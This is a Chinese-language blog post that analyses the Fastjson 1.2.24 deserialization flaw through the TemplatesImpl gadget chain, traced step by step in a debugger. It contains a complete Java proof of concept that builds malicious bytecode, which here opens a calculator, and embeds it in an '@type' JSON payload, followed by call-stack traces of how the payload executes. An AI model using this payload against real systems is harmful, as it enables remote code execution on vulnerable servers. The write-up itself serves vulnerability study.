F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

  • Java安全

    • Java反射特性摘要
    • Java反序列化-URLDNS
    • Java反序列化-CC1
    • Java反序列化-CC5
    • Java反序列化-CC6
    • Fastjson(1)-初探以及利用方式
    • Fastjson(2)-TemplatesImpl利用链
      • 前言
      • 基于TemplatesImpl
        • 环境配置
        • POC(1)
        • POC(1)分析
      • 基于JdbcRowSetImpl的JNDI
        • 环境配置
    • 谈一谈Java动态加载字节码
    • RMI与JNDI(一)
  • 其他

  • 技术文章
  • Java安全
F4de
2020-12-01

Fastjson反序列化(2)-TemplatesImpl利用链

# 前言

在Fastjson版本为1.2.22-1.2.24的时候存在反序列化漏洞,这个漏洞可以基于两种利用方式:

  • 基于TemplatesImpl的恶意字节码
  • 基于JdbcRowSetImpl的JNDI

下面笔者会就这两种利用方式来对这个漏洞进行调试分析。

# 基于TemplatesImpl

# 环境配置

环境

  • Fastjson 1.2.22-1.2.24(笔者使用的是1.2.24)
  • JDK 8u101

POC用的额外的jar包

  • commons-codec-1.9(用于对class文件进行base64编码)
  • javassist(用于生成恶意字节码文件)

# POC(1)

笔者这里先把poc放下面,之后再进行调试分析:

public class Demo {
    public static void main(String[] args) throws Exception {
        /*
        利用javassist来生成恶意字节码
         */
        // 获取类池对象
        ClassPool aDefault = ClassPool.getDefault();
        // 向类池中添加类
        aDefault.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass calc = aDefault.makeClass("Calc");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // 生成恶意static代码块
        calc.makeClassInitializer().insertBefore(cmd);
        calc.setSuperclass(aDefault.get(AbstractTranslet.class.getName()));
        // 获取字节数组
        byte[] bytes = calc.toBytecode();
        // 获取恶意字节码
        String base64ClassString = Tools.getBase64String(bytes);
        // 生成payload
        String payload = "{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['" + base64ClassString + "'],'_name':'f4de','_tfactory':{},'_outputProperties':{}}";
        payload = Tools.processString(payload);
        System.out.println(payload);
        // 进行反序列化
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

为了方便写POC,笔者额外写了一个Tools类来对payload进行处理:

public class Tools {
    /*
    处理json字符串,用"来替换'
     */
    public static String processString(String string) {
        string = string.replace("'", "\"");
        return string;
    }
    /*
    根据class文件的路径生成base64字符串
     */
    public static String getBase64String(String classPath) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(classPath)), byteArrayOutputStream);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(byteArrayOutputStream.toByteArray());
    }
    /*
    根据字节数组直接生成base64字符串
    建议搭配javassist来使用
     */
    public static String getBase64String(byte[] bytes) throws Exception {
        return Base64.encodeBase64String(bytes);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

运行POC:

image-20201201112355907

# POC(1)分析

# 限制条件

  • 必须开启Feature.SupportNonPublicField才能RCE成功

# 前置知识

如果调试过CC链的朋友应该都知道CC2就是基于恶意字节码来进行利用的,利用点在于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。在这里也是利用了同样的方式,如果不熟悉也没关系,我们下面对这个类进行简单的分析:

这个类中的成员变量大多是被private所修饰,其中漏洞的利用点在_bytecodes和_outputProperties这两个成员变量。

先看_outputProperties的构造方法getOutputProperties():

image-20201201114210585

这里调用了newTransformer()这个方法,继续跟进:

image-20201201115122002

接着调用了getTransletInstance(),继续跟进:

image-20201201191844480

再跟进defineTransletClasses():

image-20201201192042667

在这个方法中会对_bytecodes[]这个字节数组进行defineClass处理,作用就是把字节码文件还原成一个类,并把结果赋值给_class[i]。但是在还原的过程中不会调用这个类的构造函数和static静态代码块,只有显式的调用其构造函数,构造方法和类初始化代码块才会被执行,所以我们再回到getTransletInstance()方法:

image-20201201193040393

在这里调用了_class[]数组中的类中的构造方法和类的初始化代码块。

由于篇幅所限,又涉及到了Java字节码的知识,这里就只能对它进行简单的分析,如果有机会以后会写一篇文章来详细说一下Java字节码。

# 分析

直接在最后一行的JSON.parseObject打下断点,先跟进到JSON.parse方法,此时的函数调用栈如下:

parse:136, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4

image-20201204165337062

这里的会根据生成的parser来进行解析,先跟进该类的的构造方法看一下:

image-20201204165438506

调用了JSONScanner的构造方法生成该类的实例,这个对象是用于词法解析的,跳出这个方法然后再回到DefaultJSONParser,继续跟进this():

image-20201204170121458

这里会拿到JSON文本的第一个字符{,然后lexer.next()方法会把JSONScanner(以下简称扫描器)的解析指针往后移一位:

image-20201204171106132

然后再设置token为12。再往下跟进到DefaultJSONParser.parse,此时调用栈如下:

parse:1306, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4
5
6

跟进该方法:

image-20201204171502845

这里会根据我们之前获取的token来进入不同的case分支,由于我们的token是12,所以进入了这里:

image-20201204171559424

接着跟进parseObject:

image-20201204171711945

扫描器的scanSymbol方法会把我们第一个键名@type扫描出来,然后根据@type进入这里:

image-20201204172310392

这里的scanSymbol会扫描出@type所指定的类,这里是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,然后调用TypeUtils.loadClass加载该类到缓存中并返回这个类(这里先不详细展开说,后面说补丁绕过会具体跟进这个方法调试)。

当我们获取到这个类之后再往下调试,这里会根据获取到的clazz来获取对应的deserializer:

image-20201204172836744

跟进该方法调试到如下位置:

image-20201204173912481

此时函数调用栈如下:

createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4
5
6
7
8
9
10

跟进该方法到如下关键位置,调用了JavaBeanInfo.buid:

image-20201204192933453

再跟进该方法:

image-20201204193240564

这个方法中会通过反射来获取传入的clazz的全部方法和成员变量,然后在这里会对方法进行筛选,我们在上一篇文章中说的满足条件的setter和getter就是在这里筛选出来的,之后会把筛选出来的方法添加到fieldList中,由于这部分代码比较长,我这里就截取一部分:

image-20201204193923994

image-20201204194035212

image-20201204194106005

筛选完方法之后就作为参数传入JavaBeanInfo的构造方法中用于生成该类的实例,也就是对应的deserializer:

image-20201204194307688

然后返回上层,准备执行JavaBeanDeserializer.deserialze这个关键函数:

image-20201204194602032

跟进该方法,方法内会循环扫描解析,当扫描到key为_bytecodes的时候会调用这里的DefaultJSONParser.parseField来对其进行解析:

image-20201204201926874

继续跟进,方法内调用了smartMatch方法来匹配key来获取对应的FieldDeserializer:

image-20201204202540732

我们再跟进这个方法,在这个方法中会拿_bytecodes和JavaBeanDeserializer.sortedFieldDeserializers中的fieldInfo来进行比较:

image-20201204203531261

_bytecodes会因为条件都不满足最后返回null,我们再回到上层的smartMatch,因为获取到的fieldDeserializer为null,所以会进入到下面这个分支中:

image-20201204203804697

在这个分支中会把key的-,_等替换为空:

image-20201204203929497

经过处理后_bytecodes变成了bytecodes,然后再次调用getFieldDeserializer获取对应的fieldDeserializer:

image-20201204204041018

但是返回的仍是null,再经过smartMatch这么多处理之后还是没有获取到相应的fieldDeserializer,之后会在JavaBeanDeserializer#parseField中创建一个DefaultFieldDeserializer:

image-20201204213023811

然后调用DefaultFieldDeserializer#parseField,进行_bytecodes的解析:

image-20201204213202098

跟进该方法,在这里会把JSON文本中的_bytecodes的值解析出来:

image-20201204213504691

接着跟进该方法,然后会进入到DefaultJSONParser#parseArray方法:

image-20201204213651091

接着跟进方法,调试到这个关键位置:

image-20201204213759910

跟进,然后这里会获取一个byte数组,也就是_bytes所对应的值:

image-20201204213951025

跟进箭头所指的方法,发现它对数组进行了一次base64解码(这就是为什么POC中要对_bytecodes的值进行base64编码的原因):

image-20201204214030952

此时函数的调用栈如下:

bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

之后我们返回上层,这里就把base64解码之后的数据返回给变量val:

image-20201207210916872

image-20201207211122498

逐层返回到DefaultFieldDeserializer#parseField,现在我们已经通过解析获得了_bytecodes对应的值val,在下面这个断点的地方会对其进行赋值:

image-20201207211415827

跟一下这个方法,最后调用到了field.set将解析出的val赋值到之前生成对象中:

image-20201207212011265

image-20201207212352692

再层层返回到JavaBeanDeserializer#deserialze这个方法中,此时对于_bytecodes来说解析已经完成,我们继续往下调试,经过scanSymbol的处理之后得到了第二个键名_name,整个过程和上述基本一致,笔者就不重复分析一遍了,我们要分析的重点是第三个键名_proPerties的处理过程。

回到JavaBeanDeserializer#deserialze之后循环继续循环扫描解析,获得_outputProperties这个key:

image-20201207220135573

继续往下调试到parseField,然后跟进:

image-20201207220344872

获取到对应的fieldDeserializer之后执行DefaultFieldDeserializer#parseField,接着跟进到setValue:

image-20201207220747958

继续跟进,就会发现它首先获取到了_outputProperties对应的getter方法:

image-20201207221003564

image-20201207221020424

至于为什么会获取到它的getter方法我们在第一篇文章中就已经说过前提条件了,而且在上文中的分析过程中也说明了哪些setter和getter方法会被添加到fieldList中,这里就不赘述了。与_bytecodes不同的是_outputProperties会因为method!=null和fieldInfo.getOnly而进入对应的分支中:

image-20201207221400302

然后调用了getOutputProperties.invoke:

image-20201207221606099

接着跟进,然后就会触发getOutputProperties方法:

image-20201207221729055

此时的函数调用栈如下:

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

再跟进newTransformer方法,之后就是我们前置知识中所分析的调用链,直至触发我们所构造的恶意代码,弹出计算器:

image-20201207221947458

最后的函数调用栈:

getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:34, Demo (com.demo2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 基于JdbcRowSetImpl的JNDI

JNDI有两种利用方法:LDAP和RMI

笔者这里使用的是基于RMI的JNDI利用方式(LDAP还没学会,逃

# 环境配置

……未完待续,有时间再更💫

Fastjson(1)-初探以及利用方式
谈一谈Java动态加载字节码

← Fastjson(1)-初探以及利用方式 谈一谈Java动态加载字节码→

最近更新
01
RMI与JNDI(一)
01-29
02
Java8-Stream
01-03
03
谈一谈Java动态加载字节码的方式
12-18
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式